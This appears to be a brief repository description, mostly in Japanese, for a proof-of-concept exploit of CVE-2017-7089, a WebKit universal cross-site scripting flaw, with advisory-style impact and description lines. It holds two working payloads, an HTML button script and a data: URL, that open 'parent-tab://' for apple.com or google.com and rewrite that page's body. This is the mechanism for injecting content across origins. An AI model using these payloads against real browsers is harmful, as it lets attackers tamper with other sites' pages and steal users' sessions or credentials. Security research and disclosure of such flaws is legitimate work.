bo0om/cve-2017-7089Webkit uxss エクスプロイト (CVE-2017-7089)
影響: 悪意を持って作成されたWebコンテンツを処理すると、ユニバーサルクロスサイトスクリプティングが発生する可能性があります。
説明: 親タブの処理にロジックの問題がありました。この問題は、状態管理の改善により対処されました。
<script> function Pew(){var doc=open('parent-tab://apple.com');doc.document.body.innerHTML='';}</script><button onclick=Pew();>Click me!</button>
data:text/html,<script>function y(){x=open('parent-tab://google.com','_top'),x.document.body.innerHTML=''};setTimeout(y,100)</script>